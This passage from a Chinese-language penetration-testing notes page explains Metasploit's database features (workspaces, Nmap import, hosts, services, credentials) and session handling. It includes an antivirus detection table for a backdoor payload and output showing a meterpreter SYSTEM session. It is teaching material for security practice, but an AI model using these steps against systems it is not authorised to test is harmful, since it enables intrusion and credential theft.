 TrendMicro            是      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  是      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 否      5.0.0                                                                                                                      20220505
 ViRobot               是      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 否      9.5.188                                                                                                                    20220504
 Webroot               否      1.0.0.403                                                                                                                  20220505
 Yandex                是      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                否      2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             是      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 否      2.2.2.0                                                                                                                    20220504
 tehtris               否      v0.1.2                                                                                                                     20220505
```

## 数据库：

{% hint style="info" %}
`数据库`是 `msfconsole`用于跟踪你的结果。毫不奇怪，即使是在评估更复杂的机器，更不用说整个网络时，由于搜索结果、入口点、发现的问题、找到的凭据等数量庞大，事情也会变得有些模糊和复杂。这就是数据库发挥作用的地方。 `msfconsole` 内置支持 PostgreSQL 数据库系统。借助它，我们可以直接、快速且轻松地访问分析结果，并且还能与第三方工具结合导入和导出结果。数据库条目还可用于直接利用已有结果配置 Exploit 模块设置。
{% endhint %}

### 设置数据库

首先，我们需要确保 PostgreSQL 服务器在主机上已启动并运行。为此，请输入以下命令：

**PostgreSQL 状态**

```bash
sudo service postgresql status
```

**启动 PostgreSQL**

```bash
sudo systemctl start postgresql
```

**启动数据库**

```bash
sudo msfdb init
```

**数据库连接已启动**

```bash
sudo msfdb run
```

{% hint style="warning" %}
不过，如果我们已经配置了数据库，而且无法将密码更改为 MSF 用户名，请执行以下命令：
{% endhint %}

**数据库重置**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### 使用数据库

```bash
help database

数据库后端命令
=========================

    命令           描述
    -------           -----------
    db_connect        连接到现有数据库
    db_disconnect     断开与当前数据库实例的连接
    db_export         导出包含数据库内容的文件
    db_import         导入扫描结果文件（文件类型将自动检测）
    db_nmap           执行 nmap 并自动记录输出
    db_rebuild_cache  重建存储在数据库中的模块缓存
    db_status         显示当前数据库状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有战利品
    notes             列出数据库中的所有备注
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换
```

在确认数据库已正确连接后，我们可以组织我们的 `工作区`

#### 工作区：

我们可以把 `工作区`理解为与项目文件相同的方式。我们可以按 IP、子网、网络或域名来分离不同的扫描结果、主机和提取的信息。

```bash
workspace -a Target_1

[*] 已添加工作区：Target_1
[*] 工作区：Target_1

msf6 > workspace Target_1

[*] 工作区：Target_1

msf6 > workspace

  default
* Target_1
```

### 导入扫描结果

接下来，假设我们想导入一个 `Nmap 扫描`来自主机的文件到我们的数据库工作区，以便更好地了解目标

```bash
msf6 > db_import Target.xml

[*] 正在导入 'Nmap XML' 数据
[*] 导入：使用 'Nokogiri v1.10.9' 解析
[*] 正在导入主机 10.10.10.40
[*] 已成功导入 ~/Target.xml

msf6 > hosts

主机
=====

地址      mac  名称  操作系统名称  操作系统版本  操作系统补丁  用途  信息  注释
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             未知                    设备

msf6 > services

服务
========

主机         端口   协议  名称          状态  信息
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   开放   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  开放   Microsoft Windows 7 - 10 microsoft-ds 工作组：WORKGROUP
10.10.10.40  49152  tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         开放   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         开放   Microsoft Windows RPC
```

### 在 MSFconsole 中使用 Nmap

或者，我们也可以直接从 msfconsole 中使用 Nmap！要直接从控制台进行扫描，而不必切换到后台或退出进程，请使用 `db_nmap`命令。

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-17 21:04 UTC
[*] Nmap: 针对 10.10.10.8 的扫描报告
[*] Nmap: 主机在线 (0.016s latency).
[*] Nmap: 未显示：999 个被过滤的端口
[*] Nmap: 端口   状态 服务 版本
[*] Nmap: 80/TCP 开放  http    HttpFileServer httpd 2.3
[*] Nmap: 服务信息：操作系统：Windows；CPE：cpe:/o:microsoft:windows
```

### 数据备份

会话结束后，务必在 PostgreSQL 服务出现任何问题时备份你的数据。为此，请使用 `db_export`命令。

```bash
db_export -h

用法：
    db_export -f <format> [filename]
    格式可以是以下之一：xml、pwdump
```

#### 主机：

主机也可以手动作为此表中的单独条目添加。添加自定义主机后，我们还可以组织表格格式和结构、添加注释、编辑现有信息等。

```bash
hosts -h

用法：hosts [ options ] [addr1 addr2 ...]

选项：
  -a,--add          添加主机而不是搜索
  -d,--delete       删除主机而不是搜索
  -c <col1,col2>    仅显示给定列（见下方列表）
  -C <col1,col2>    仅在下次重启前显示给定列（见下方列表）
  -h,--help         显示此帮助信息
  -u,--up           仅显示在线主机
  -o <file>         将输出以 CSV 格式发送到文件
  -O <column>       按指定列号对行排序
  -R,--rhosts       根据搜索结果设置 RHOSTS
  -S,--search       用于过滤的搜索字符串
  -i,--info         更改主机信息
  -n,--name         更改主机名称
  -m,--comment      更改主机注释
  -t,--tag          为一组主机添加或指定标签
```

#### 服务 `services`命令的工作方式与前一个相同。它包含一个表格，其中列出了在扫描或交互过程中发现的服务的描述和信息。与上面的命令类似，这里的条目也具有很高的可定制性。

```bash
services -h

用法: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          添加服务而不是搜索
  -d,--delete       删除服务而不是搜索
  -c <col1,col2>    仅显示给定列
  -h,--help         显示此帮助信息
  -s <name>         要添加的服务名称
  -p <port>         搜索端口列表
  -r <protocol>     所添加服务的协议类型 [tcp|udp]
  -u,--up           仅显示在线服务
  -o <file>         将输出以 csv 格式发送到文件
  -O <column>       按指定列号对行排序
  -R,--rhosts       根据搜索结果设置 RHOSTS
  -S,--search       用于过滤的搜索字符串
  -U,--update       更新现有服务的数据
```

#### 凭据

该 `creds`命令可让你查看在与目标主机交互期间收集到的凭据。我们还可以手动添加凭据、将现有凭据与端口规格匹配、添加描述等。

## 会话：

### Sessions

> MSFconsole 可以同时管理多个模块。这也是它为用户提供如此高灵活性的众多原因之一。这是通过使用 `Sessions`，为你部署的所有模块创建专用控制接口。
>
> 一旦创建了多个会话，我们就可以在它们之间切换，并将不同的模块连接到某个后台会话来运行它，或者把它们变成任务。请注意，一旦会话被放到后台，它将继续运行，我们与目标主机的连接也会持续存在。不过，如果载荷执行过程中出现问题导致通信通道中断，会话也可能会终止。

**列出活动会话**

如果想了解更多关于该模块的信息，我们可以在选择模块后使用 `sessions`用于查看当前活动会话的命令。

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

活动会话
===============

  编号  名称  类型                     信息                 连接
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**与会话交互**

你可以使用 `sessions -i [no.]`用于打开指定会话的命令。

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] 正在开始与 1 的交互...

meterpreter >
```

### 所有备注

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/badef525aafcc2672dc3316962f751f75317f334">/pages/badef525aafcc2672dc3316962f751f75317f334</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
